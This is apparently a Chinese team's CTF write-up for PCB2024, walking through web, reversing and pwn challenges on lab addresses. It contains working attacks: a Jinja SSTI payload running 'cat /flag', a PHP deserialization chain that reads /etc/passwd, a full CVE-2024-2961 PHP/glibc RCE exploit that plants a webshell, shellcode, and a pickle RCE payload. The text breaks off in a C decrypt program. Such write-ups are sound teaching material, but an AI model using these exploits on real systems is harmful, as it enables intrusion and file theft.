以下我们队本次比赛所出题目,大家一起参考学习!!!

python口算-pcb2024

打开是一个计算题,写个脚本算一把

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
# -*- coding: utf-8 -*-
import requests
import time

url = 'http://192.168.18.28/calc'

def fetch_and_calculate():
try:
# 请求获取算式
response = requests.get(url)
response.raise_for_status()
expression = response.text.strip()
print(f"syanshi: {expression}")

# 计算算式结果
result = eval(expression)
print(f"jieguo: {expression} = {result}")

# 向服务器发送结果
answer_url = 'http://192.168.18.28/' # 目标URL
params = {'answer': result}

print(f"fuwuqi: {params}")
response2 = requests.get(answer_url, params=params)

print(response2)
print(f"xiangying: {response2.text}")
print(f"URL: {response2.url}") # 打印最终的请求URL



except requests.RequestException as e:
print(f"cuowu: {e}")
except Exception as e:
print(f"cupwu: {e}")

if __name__ == '__main__':

start_time = time.time()
fetch_and_calculate()
time.sleep(max(0, 1 - (time.time() - start_time)))

图片

拿到提示加到脚本请求

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- coding: utf-8 -*-
import requests
import time

url = 'http://192.168.18.28/calc'

def fetch_and_calculate():
try:
# 请求获取算式
response = requests.get(url)
response.raise_for_status()
expression = response.text.strip()
print(f"syanshi: {expression}")

# 计算算式结果
result = eval(expression)
print(f"jieguo: {expression} = {result}")

# 向服务器发送结果
answer_url = 'http://192.168.18.28/' # 目标URL
params = { 'answer': result} # 将username设为字符串

print(f"fuwuqi: {params}")
response2 = requests.get(answer_url, params=params)
response3 = requests.get("http://192.168.18.28/static/f4dd790b-bc4e-48de-b717-903d433c597f")
print(response3.text)

print(response2)
print(f"xiangying: {response2.text}")
print(f"URL: {response2.url}") # 打印最终的请求URL



except requests.RequestException as e:
print(f"cuowu: {e}")
except Exception as e:
print(f"cupwu: {e}")

if __name__ == '__main__':

start_time = time.time()
fetch_and_calculate()
time.sleep(max(0, 1 - (time.time() - start_time)))

拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@app.route('/')
def index(solved=0):
global current_expr

# 前端计算
.....
.....
# 通过计算

username = 'ctfer!'
if request.args.get('username'):
username = request.args.get('username')
if whitelist_filter(username,whitelist_patterns):
if blacklist_filter(username):
return render_template_string("filtered")
else:
print("你过关!")
else:
return render_template_string("filtered")
return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")

要username传参但传了没解析进去?

修改脚本加了个 data

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*- coding: utf-8 -*-
import requests
import time

url = 'http://192.168.18.28/calc'

def fetch_and_calculate():
try:
# 请求获取算式
response = requests.get(url)
response.raise_for_status()
expression = response.text.strip()
print(f"syanshi: {expression}")

# 计算算式结果
result = eval(expression)
print(f"jieguo: {expression} = {result}")

# 向服务器发送结果
answer_url = 'http://192.168.18.28/' # 目标URL
params = { 'username': 'aaa','answer': result} # 将username设为字符串
data = {
'username': '{{7*7}}'
}
print(f"fuwuqi: {params}")
#response2 = requests.get(answer_url, params=params)
response2 = requests.get(answer_url, params=params,data=data)
print(response2)
print(f"xiangying: {response2.text}")
print(f"URL: {response2.url}") # 打印最终的请求URL

# 获取静态资源
response3 = requests.get("http://192.168.18.28/static/f4dd790b-bc4e-48de-b717-903d433c597f")
print(f"jingtai xiangying: {response3.text}")

except requests.RequestException as e:
print(f"cuowu: {e}")
except Exception as e:
print(f"cupwu: {e}")

if __name__ == '__main__':

start_time = time.time()
fetch_and_calculate()
# 确保每秒执行一次
time.sleep(max(0, 1 - (time.time() - start_time)))

有了响应并且回显49ssti执行

然后打ssti查看用什么类能用

1
{{[].class.base.subclasses()}}

解码

找代码执行类执行代码

看下根 遇到过滤,过滤了空格绕一下

得到flag

最终脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
# -*- coding: utf-8 -*-
import requests
import time

url = 'http://192.168.18.28/calc'

def fetch_and_calculate():
try:
# 请求获取算式
response = requests.get(url)
response.raise_for_status()
expression = response.text.strip()
print(f"syanshi: {expression}")

# 计算算式结果
result = eval(expression)
print(f"jieguo: {expression} = {result}")

# 向服务器发送结果
answer_url = 'http://192.168.18.28/' # 目标URL
params = { 'username': 'aaa','answer': result} # 将username设为字符串
data = {
'username':'''{{[].__class__.__base__.__subclasses__()[84]["load_module"]("os")["popen"]("cat${IFS}/flag").read()}}'''
}
print(f"fuwuqi: {params}")
#response2 = requests.get(answer_url, params=params)
response2 = requests.get(answer_url, params=params,data=data)
print(response2)
print(f"xiangying: {response2.text}")
print(f"URL: {response2.url}") # 打印最终的请求URL

# 获取静态资源
response3 = requests.get("http://192.168.18.28/static/f4dd790b-bc4e-48de-b717-903d433c597f")
print(f"jingtai xiangying: {response3.text}")

except requests.RequestException as e:
print(f"cuowu: {e}")
except Exception as e:
print(f"cupwu: {e}")

if __name__ == '__main__':

start_time = time.time()
fetch_and_calculate()
# 确保每秒执行一次
time.sleep(max(0, 1 - (time.time() - start_time)))

ezlaravel-pcb2024

解题思路:

进入网站http://192.168.18.20/通过题目名称:其是一个laravel框架的站点,直接上网查询相关CVE漏洞,查到一个debug-rce的漏洞:cve-2021-3129

github查询相关exp脚本:

<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">https://github.com/joshuavanderpoll/CVE-2021-3129/blob/main/CVE-2021-3129.py</font>

直接通过脚本穷举所有可能payload:

直接梭哈脚本:<font style="color:rgb(51, 51, 51);background-color:rgb(243, 244, 244);">CVE-2021-3129.py</font>:脚本比较大不在此写入

[https://github.com/joshuavanderpoll/CVE-2021-3129/blob/main/CVE-2021-3129.py](https://github.com/joshuavanderpoll/CVE-2021-3129/blob/main/CVE-2021-3129.py)

下载相关库和phpggc:(https://github.com/ambionics/phpggc反序列化payload生成工具。

执行脚本:

运行如下

进行rce尝试:在第**laravel/rce12**成功执行

直接成功rce读取flag:3aceab6687e24da78d1394d5c9d4ecde

joyVBS-pcb2024

解压之后是一个chall.vbs文件

没咋见过

上网搜一手

顺便问了一手gpt,也是实践一手

直接就跑出来了

其实就是个凯撒和base64编码,但是我是直接喂给GPT就行了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import base64

def caesar_cipher(text, shift):
result = ""
for char in text:
if 'A' <= char <= 'Z':
result += chr((ord(char) - ord('A') + shift) % 26 + ord('A'))
elif 'a' <= char <= 'z':
result += chr((ord(char) - ord('a') + shift) % 26 + ord('a'))
else:
result += char
return result

# 加密的字符串和偏移量
encrypted_text = "NalvN3hKExBtALBtInPtNHTnKJ80L3JtqxTboRA/MbF3LnT0L2zHL2SlqnPtJLAnFbIlL2SnFT8lpzFzA2JHrRTiNmT9"
shift = 26 - (9 + 2 + 2 + 1) # qwfe = 9 + 2 + 2 + 1

# 第一步:凯撒解密
decrypted_caesar = caesar_cipher(encrypted_text, shift)

# 第二步:Base64解码
decoded_flag = base64.b64decode(decrypted_caesar).decode('utf-8')

print("解密得到的 FLAG:", decoded_flag)

就得到了flag

解密得到的 FLAG: flag{VB3_1s_S0_e1sY_4_u_r1gh3?btw_1t_iS_a1s0_Us3Fu1_a3D_1nTe3eSt1ng!}

Rafflesia-pcb2024

解压一下

查一下壳

32位无壳

直接ida32打开一手

花指令也是提示了,定位一手,nop一手看看

也是很轻松的就反编译了一手

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
int __cdecl main_0(int argc, const char **argv, const char **envp)
{
int v3; // ecx
int v4; // edi
size_t v5; // eax
char Str[52]; // [esp+E8h] [ebp-194h] BYREF
unsigned int v8; // [esp+11Ch] [ebp-160h]
char Buf2[136]; // [esp+128h] [ebp-154h] BYREF
char v10[136]; // [esp+1B0h] [ebp-CCh] BYREF
char Buf1[64]; // [esp+238h] [ebp-44h] BYREF

*(v3 + 14) = v4;
qmemcpy(Buf1, "H@^jHwpsH)[jH{M/\\tBBK_|-O{W.iJZ7\\)|~zaB^H+Lwv{SS|-j@\\_[Y", 4 * v3 + 1);
v8 = sub_411352(Buf1, v10);
if ( v8 >= 0x80 )
j____report_rangecheckfailure();
v10[v8] = 0;
sub_4110E6("input flag:");
sub_4113FC("%s42", Str);
j_strlen(Str);
v5 = j_strlen(Str);
sub_4111E0(Str, Buf2, v5);
if ( !j_memcmp(Buf1, Buf2, 0x38u) )
sub_4110E6("win!!!!!!!!!!!!!!!!!!\n");
else
sub_4110E6("nonono\n");
system("pause");
return 0;
}

密文也是一眼就给了

大改看了看定位了几个函数

感觉像base64的编码加一个异或

结果不行

我发现没那么简单,又拷打了GPT好久

就在我以为大功告成的时候发现还是不行

捯饬捯饬动调的时候发现问题了,一直在调试

整半天

看见了TLscallback这个函数

断点打在这就可以正常动调了,还得nop一手

要注意的时候就是有一个jz的跳转,改一下就行

动调的时候就会发现它有一个换表的过程

最后注意一下

然后正常就行了

卡好久

fileread-pcb2024

解题思路:进入网站一眼反序列化+CVE-2024-2961(文件读取上升到RCE)

之前有复现过这个漏洞:利用的php底层漏洞溢出字符:

并且看过相关赛题如:[https://www.cnblogs.com/EddieMurphy-blogs/p/18296185](https://www.cnblogs.com/EddieMurphy-blogs/p/18296185)

反序列化获得上传payload:

成功获得执行命令!

反序列化部分:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
class cls1{
var $cls;
var $arr;
function show(){
show_source(__FILE__);
}
function __wakeup(){
foreach($this->arr as $k => $v)
echo $this->cls->$v;
}
}
class cls2{
var $filename = 'hello.php';
var $txt = '';
function __get($key){
var_dump($key);
if($key == 'fileput')
return $this->fileput();
else
return '<p>'.htmlspecialchars($key).'</p>';
}
function fileput(){
echo 'Your file:'.file_get_contents($this->filename);
}
}

if(!empty($_GET)){
$cls = base64_decode($_GET['ser']);
$instance = unserialize($cls);
}else{
$a = new cls1();
$a->show();
}

$a=new cls1();
$a->cls=new cls2();
$a->arr[]="fileput";
$a->cls->filename="php://filter/read=convert.base64-encode/resource=/etc/passwd";
echo(serialize($a));
?>

生成:添加到后续脚本中

O:4:”cls1”:2:{s:3:”cls”;O:4:”cls2”:2:{s:8:”filename”;s:60:”php://filter/read=convert.base64-encode/resource=/etc/passwd”;s:3:”txt”;s:0:””;}s:3:”arr”;a:1:{i:0;s:7:”fileput”;}}

直接写马:

exp(cve-2024-2961):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
#!/usr/bin/env python3

from __future__ import annotations
import base64
import zlib
import re
from dataclasses import dataclass
from pathlib import Path
from requests import Session, Response
from requests.exceptions import ChunkedEncodingError, ConnectionError
from pwn import *
from ten import *

HEAP_SIZE = 2 * 1024 * 1024
BUG = "劄".encode("utf-8")

class Remote:
def __init__(self, url: str) -> None:
self.url = url
self.session = Session()
def send(self, path: str) -> Response:
p = f"php://filter/convert.base64-encode/resource={path}"
a = len(p)
path = f'O:4:"cls1":2:{{s:3:"cls";O:4:"cls2":2:{{s:8:"filename";s:{a}:"{p}";s:3:"txt";s:0:"";}}s:3:"arr";a:1:{{i:0;s:7:"fileput";}}}};'
encoded_path = base64.b64encode(path.encode('utf-8')).decode('utf-8')
params = {
"ser": encoded_path
}
response = self.session.get(self.url, params=params)
return response
def download(self, path: str) -> bytes:
response = self.send(path)
data = re.search(r'Your file:(.*)', response.text, flags=re.S).group(1)
return base64.b64decode(data)

@entry
@arg("url", "Target URL")
@arg("command", "Command to run on the system; limited to 0x140 bytes")
@arg("sleep_time", "Time to sleep to assert that the exploit worked. By default, 1.")
@arg("heap", "Address of the main zend_mm_heap structure.")
@arg(
"pad",
"Number of 0x100 chunks to pad with. If the website makes a lot of heap "
"operations with this size, increase this. Defaults to 20.",
)
@dataclass
class Exploit:
url: str
command: str
sleep: int = 1
heap: str = None
pad: int = 20

def __post_init__(self):
self.remote = Remote(self.url)
self.log = logger("EXPLOIT")
self.info = {}
self.heap = self.heap and int(self.heap, 16)

def check_vulnerable(self) -> None:
def safe_download(path: str) -> bytes:
try:
rep = self.remote.download(path)
return rep
except ConnectionError:
failure("Target not [b]reachable[/] ?")

def check_token(text: str, path: str) -> bool:
result = safe_download(path)
return text.encode() == result

text = "test_string"
base64_encoded = b64(text.encode(), misalign=True).decode()
path = f"data:text/plain;base64,{base64_encoded}"

result = safe_download(path)
if text.encode() not in result:
msg_failure("Remote.download did not return the test string")
print("--------------------")
print(f"Expected test string: {text}")
print(f"Got: {result}")
print("--------------------")
failure("If your code works fine, it means that the [i]data://[/] wrapper does not work")

msg_info("The [i]data://[/] wrapper works")

text = "another_test_string"
base64_encoded = b64(text.encode(), misalign=True).decode()
path = f"php://filter//resource=data:text/plain;base64,{base64_encoded}"
if not check_token(text, path):
failure("The [i]php://filter/[/] wrapper does not work")

msg_info("The [i]php://filter/[/] wrapper works")

text = "compressed_test_string"
base64_encoded = b64(compress(text.encode()), misalign=True).decode()
path = f"php://filter/zlib.inflate/resource=data:text/plain;base64,{base64_encoded}"

if not check_token(text, path):
failure("The [i]zlib[/] extension is not enabled")

msg_info("The [i]zlib[/] extension is enabled")

msg_success("Exploit preconditions are satisfied")

def get_file(self, path: str) -> bytes:
with msg_status(f"Downloading [i]{path}[/]..."):
return self.remote.download(path)

def get_regions(self) -> list[Region]:
maps = self.get_file("/proc/self/maps")
maps = maps.decode()
PATTERN = re.compile(
r"^([a-f0-9]+)-([a-f0-9]+)\b" r".*" r"\s([-rwx]{3}[ps])\s" r"(.*)"
)
regions = []
for region in table.split(maps, strip=True):
if match := PATTERN.match(region):
start = int(match.group(1), 16)
stop = int(match.group(2), 16)
permissions = match.group(3)
path = match.group(4)
if "/" in path or "[" in path:
path = path.rsplit(" ", 1)[-1]
else:
path = ""
current = Region(start, stop, permissions, path)
regions.append(current)
else:
print(maps)
failure("Unable to parse memory mappings")

self.log.info(f"Got {len(regions)} memory regions")

return regions

def get_symbols_and_addresses(self) -> None:
regions = self.get_regions()
LIBC_FILE = "/dev/shm/cnext-libc"
self.info["heap"] = self.heap or self.find_main_heap(regions)
libc = self._get_region(regions, "libc-", "libc.so")
self.download_file(libc.path, LIBC_FILE)
self.info["libc"] = ELF(LIBC_FILE, checksec=False)
self.info["libc"].address = libc.start

def _get_region(self, regions: list[Region], *names: str) -> Region:
for region in regions:
if any(name in region.path for name in names):
break
else:
failure("Unable to locate region")

return region

def download_file(self, remote_path: str, local_path: str) -> None:
data = self.get_file(remote_path)
Path(local_path).write_bytes(data)

def find_main_heap(self, regions: list[Region]) -> Region:
heaps = [
region.stop - HEAP_SIZE + 0x40
for region in reversed(regions)
if region.permissions == "rw-p"
and region.size >= HEAP_SIZE
and region.stop & (HEAP_SIZE - 1) == 0
and region.path == ""
]

if not heaps:
failure("Unable to find PHP's main heap in memory")

first = heaps[0]

if len(heaps) > 1:
heaps = ", ".join(map(hex, heaps))
msg_info(f"Potential heaps: [i]{heaps}[/] (using first)")
else:
msg_info(f"Using [i]{hex(first)}[/] as heap")

return first

def run(self) -> None:
self.check_vulnerable()
self.get_symbols_and_addresses()
self.exploit()

def build_exploit_path(self) -> str:
LIBC = self.info["libc"]
ADDR_EMALLOC = LIBC.symbols["__libc_malloc"]
ADDR_EFREE = LIBC.symbols["__libc_system"]
ADDR_EREALLOC = LIBC.symbols["__libc_realloc"]

ADDR_HEAP = self.info["heap"]
ADDR_FREE_SLOT = ADDR_HEAP + 0x20
ADDR_CUSTOM_HEAP = ADDR_HEAP + 0x0168

ADDR_FAKE_BIN = ADDR_FREE_SLOT - 0x10

CS = 0x100

pad_size = CS - 0x18
pad = b"\x00" * pad_size
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = chunked_chunk(pad, len(pad) + 6)
pad = compressed_bucket(pad)

step1_size = 1
step1 = b"\x00" * step1_size
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1)
step1 = chunked_chunk(step1, CS)
step1 = compressed_bucket(step1)

step2_size = 0x48
step2 = b"\x00" * (step2_size + 8)
step2 = chunked_chunk(step2, CS)
step2 = chunked_chunk(step2)
step2 = compressed_bucket(step2)

step2_write_ptr = b"0\n".ljust(step2_size, b"\x00") + p64(ADDR_FAKE_BIN)
step2_write_ptr = chunked_chunk(step2_write_ptr, CS)
step2_write_ptr = chunked_chunk(step2_write_ptr)
step2_write_ptr = compressed_bucket(step2_write_ptr)

step3_size = CS

step3 = b"\x00" * step3_size
assert len(step3) == CS
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = chunked_chunk(step3)
step3 = compressed_bucket(step3)

step3_overflow = b"\x00" * (step3_size - len(BUG)) + BUG
assert len(step3_overflow) == CS
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = chunked_chunk(step3_overflow)
step3_overflow = compressed_bucket(step3_overflow)

step4_size = CS
step4 = b"=00" + b"\x00" * (step4_size - 1)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = chunked_chunk(step4)
step4 = compressed_bucket(step4)

step4_pwn = ptr_bucket(
0x200000,
0,
0,
0,
ADDR_CUSTOM_HEAP,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
ADDR_HEAP,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
size=CS,
)

step4_custom_heap = ptr_bucket(
ADDR_EMALLOC, ADDR_EFREE, ADDR_EREALLOC, size=0x18
)

step4_use_custom_heap_size = 0x140

COMMAND = self.command
COMMAND = f"kill -9 $PPID; {COMMAND}"
if self.sleep:
COMMAND = f"sleep {self.sleep}; {COMMAND}"
COMMAND = COMMAND.encode() + b"\x00"

assert (
len(COMMAND) <= step4_use_custom_heap_size
), f"Command too big ({len(COMMAND)}), it must be strictly inferior to {hex(step4_use_custom_heap_size)}"
COMMAND = COMMAND.ljust(step4_use_custom_heap_size, b"\x00")

step4_use_custom_heap = COMMAND
step4_use_custom_heap = qpe(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = chunked_chunk(step4_use_custom_heap)
step4_use_custom_heap = compressed_bucket(step4_use_custom_heap)

pages = (
step4 * 3
+ step4_pwn
+ step4_custom_heap
+ step4_use_custom_heap
+ step3_overflow
+ pad * self.pad
+ step1 * 3
+ step2_write_ptr
+ step2 * 2
)

resource = compress(compress(pages))
resource = b64(resource)
resource = f"data:text/plain;base64,{resource.decode()}"

filters = [
"zlib.inflate",
"zlib.inflate",
"dechunk",
"convert.iconv.latin1.latin1",
"dechunk",
"convert.iconv.latin1.latin1",
"dechunk",
"convert.iconv.latin1.latin1",
"dechunk",
"convert.iconv.UTF-8.ISO-2022-CN-EXT",
"convert.quoted-printable-decode",
"convert.iconv.latin1.latin1",
]
filters = "|".join(filters)
path = f"php://filter/read={filters}/resource={resource}"

return path

@inform("Triggering...")
def exploit(self) -> None:
path = self.build_exploit_path()
start = time.time()

try:
self.remote.send(path)
except (ConnectionError, ChunkedEncodingError):
pass

msg_print()

if not self.sleep:
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/] [i](probably)[/]")
elif start + self.sleep <= time.time():
msg_print(" [b white on black] EXPLOIT [/][b white on green] SUCCESS [/]")
else:
msg_print(" [b white on black] EXPLOIT [/][b white on red] FAILURE [/]")

msg_print()

def compress(data) -> bytes:
return zlib.compress(data, 9)[2:-4]

def b64(data: bytes, misalign=True) -> bytes:
payload = base64.b64encode(data).decode('utf-8')
if not misalign and payload.endswith("="):
raise ValueError(f"Misaligned: {data}")
return payload.encode()

def compressed_bucket(data: bytes) -> bytes:
return chunked_chunk(data, 0x8000)

def qpe(data: bytes) -> bytes:
return "".join(f"={x:02x}" for x in data).upper().encode()

def ptr_bucket(*ptrs, size=None) -> bytes:
if size is not None:
assert len(ptrs) * 8 == size
bucket = b"".join(map(p64, ptrs))
bucket = qpe(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = chunked_chunk(bucket)
bucket = compressed_bucket(bucket)

return bucket

def chunked_chunk(data: bytes, size: int = None) -> bytes:
if size is None:
size = len(data) + 8
keep = len(data) + len(b"\n\n")
size = f"{len(data):x}".rjust(size - keep, "0")
return size.encode() + b"\n" + data + b"\n"

@dataclass
class Region:
start: int
stop: int
permissions: str
path: str

@property
def size(self) -> int:
return self.stop - self.start

# 使用示例
if __name__ == "__main__":
Exploit()

访问:成功写入!


直接post传参:1=system(‘ls / -alh’);

权限不够直接读取flag。直接利用1=system(‘/readflag’);

获得flag:ca2f7c6f82344e7b810004c50b759df1

cool_book-pcb2024

拿到题之后看一眼,是个堆题

ida里面看一眼

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __fastcall main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+0h] [rbp-190h] BYREF
__int64 v5; // [rsp+8h] [rbp-188h]
_BYTE v6[384]; // [rsp+10h] [rbp-180h] BYREF

init(argc, argv, envp);
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
if ( v4 == 3 )
break;
if ( v4 == 1 )
{
add(v6);
}
else
{
if ( v4 != 2 )
{
puts("bad choice!");
exit(0);
}
dele(v6);
}
}
v5 = seccomp_init(0LL);
seccomp_rule_add(v5, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v5, 2147418112LL, 0LL, 0LL);
seccomp_rule_add(v5, 2147418112LL, 1LL, 0LL);
seccomp_load(v5);
return 0;
}

看一下几个函数

主要是这个add函数

这里前面限制了50但是后面这里有点问题

试一下

写shellcode打

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
elf = ELF('./cool_book')
p = remote('192.168.18.25', 8888)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context(os='linux', arch='amd64', log_level='debug')


p.recvuntil(b'addr=')
heap = int(p.recv(14), 16)
print(f'Heap address: {hex(heap)}')


def choice(a):
p.sendlineafter(b'3.exit', str(a))

def add(idx, content):
choice(1)
p.sendlineafter(b'input idx', str(idx))
p.sendafter(b'input content', content)

def free(idx):
choice(2)
p.sendlineafter(b'input idx', str(idx))


shellcode_list = [
asm('mov rsp,rbp; jmp rbp'),
asm('mov r8,0x67616c662f; sub rbp,0x30; jmp rbp'),
asm('push r8; mov rdi,rsp; sub rbp,0x30; jmp rbp'),
asm('xor esi,esi; push 2; pop rax; syscall; sub rbp,0x30; jmp rbp'),
asm('mov rdi,rax; mov rsi,rsp; sub rbp,0x30; jmp rbp'),
asm('mov edx,0x100; xor eax,eax; syscall; sub rbp,0x30; jmp rbp'),
asm('mov edi,1; mov rsi,rsp; push 1; pop rax; syscall')
]

for i in range(48):
add(i, b'a')

for idx, sc in enumerate(shellcode_list, start=43):
add(idx, sc)


p.sendlineafter(b'3.exit', str(3))

p.interactive()

ez_python-pcb2024

进入扫目录 /login

看眼源码 需要登录成功才能返回jwt

登录页爆破账户密码 爆破到 test 123456

登录给到jwt

爆破秘钥

伪造

带着jwt访问ser

1
2
3
4
5
6
7
8
import pickle
import base64

def hhhhackme(pickled):
data = base64.urlsafe_b64decode(pickled)
deserialized = pickle.loads(data)
return '', 204

穿参数打反序列化 但是好像没回显

GET /ser 能读源码 想着能不能给写到ser.py文件

构造payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import pickle
import base64
import os

# 构造恶意对象,利用 __reduce__ 方法来执行系统命令
class Exploit:
def __reduce__(self):
return (os.system, ('echo "#`cat /fl*`" >> /app/ser.py',))

# 序列化恶意对象
evil_obj = Exploit()

# 将恶意对象 pickle 序列化
pickled_data = pickle.dumps(evil_obj)

# 将 pickled 数据进行 base64 编码
encoded_data = base64.urlsafe_b64encode(pickled_data).decode('utf-8')

print(f'Encoded malicious payload: {encoded_data}')

# 模拟攻击目标服务器的反序列化
def simulate_vulnerable_server(encoded_payload):
try:
# 将恶意的 base64 编码数据解码并进行反序列化
decoded_data = base64.urlsafe_b64decode(encoded_payload)
deserialized_obj = pickle.loads(decoded_data)
print("Object deserialized successfully.")
except Exception as e:
print(f"Error: {e}")

# 触发反序列化,模拟漏洞
simulate_vulnerable_server(encoded_data)


再去访问 /ser 接口

得到flag 8c3c29f8d53d4fe682e6fb1c5e6b7742

RE5-pcb2024

无壳,32位

分析一下主函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+0h] [ebp-84h]
char v5; // [esp+0h] [ebp-84h]
int i; // [esp+50h] [ebp-34h]
int v7[4]; // [esp+54h] [ebp-30h] BYREF
void *Buf1; // [esp+64h] [ebp-20h]
CPPEH_RECORD ms_exc; // [esp+6Ch] [ebp-18h]

Buf1 = 0;
v7[0] = 1;
v7[1] = 2;
v7[2] = 3;
v7[3] = 4;
sub_401520("Please input your flag: ", v4);
sub_401570("%s", &Str);
if ( strlen(&Str) == 38 && !strncmp(&Str, "flag{", 5u) && *(&Str + 37) == '}' )
{
strncpy(Destination, Source, 0x20u);
Buf1 = Destination;
ms_exc.registration.TryLevel = -2;
for ( i = 0; i < 4; ++i )
sub_401140(Buf1 + 8 * i, v7);
if ( !memcmp(Buf1, &unk_404000, 0x20u) )
sub_401520("correct\n", v5);
else
sub_401520("wrong\n", v5);
return 0;
}
else
{
sub_401520("wrong\n", v5);
return 0;
}
}

加密函数看一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
int __cdecl sub_401140(unsigned int *a1, _DWORD *a2)
{
int result; // eax
unsigned int i; // [esp+64h] [ebp-28h]
int v4; // [esp+68h] [ebp-24h]
unsigned int v5; // [esp+6Ch] [ebp-20h]
unsigned int v6; // [esp+70h] [ebp-1Ch]

v6 = *a1;
v5 = a1[1];
v4 = 0;
for ( i = 0; i < 0x20; ++i )
{
v4 -= 1640531527;
v6 += (a2[1] + (v5 >> 5)) ^ (v4 + v5) ^ (*a2 + 16 * v5);
v5 += (a2[3] + (v6 >> 5)) ^ (v4 + v6) ^ (a2[2] + 16 * v6);
}
*a1 = v6;
result = 4;
a1[1] = v5;
return result;
}

ok,密文也是很明显的

提取一下密文

1
enc[] = {0xEA2063F8, 0x8F66F252, 0x902A72EF, 0x411FDA74, 0x19590D4D, 0xCAE74317, 0x63870F3F, 0xD753AE61};

动调的时候出现异常跟换密钥

然后就可以正常解密了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <time.h>

void decrypt(uint32_t* v, uint32_t* k) {
uint32_t v0 = v[0], v1 = v[1], sum, i;


uint32_t sum_32[32];
for (i = 0; i < 32; i++) {
sum_32[i] = rand();
if (i != 0)
sum_32[i] += sum_32[i - 1];
}
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0; i < 32; i++) {
sum = sum_32[31 - i];
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
}
v[0] = v0;
v[1] = v1;
}

int main() {
srand(0);

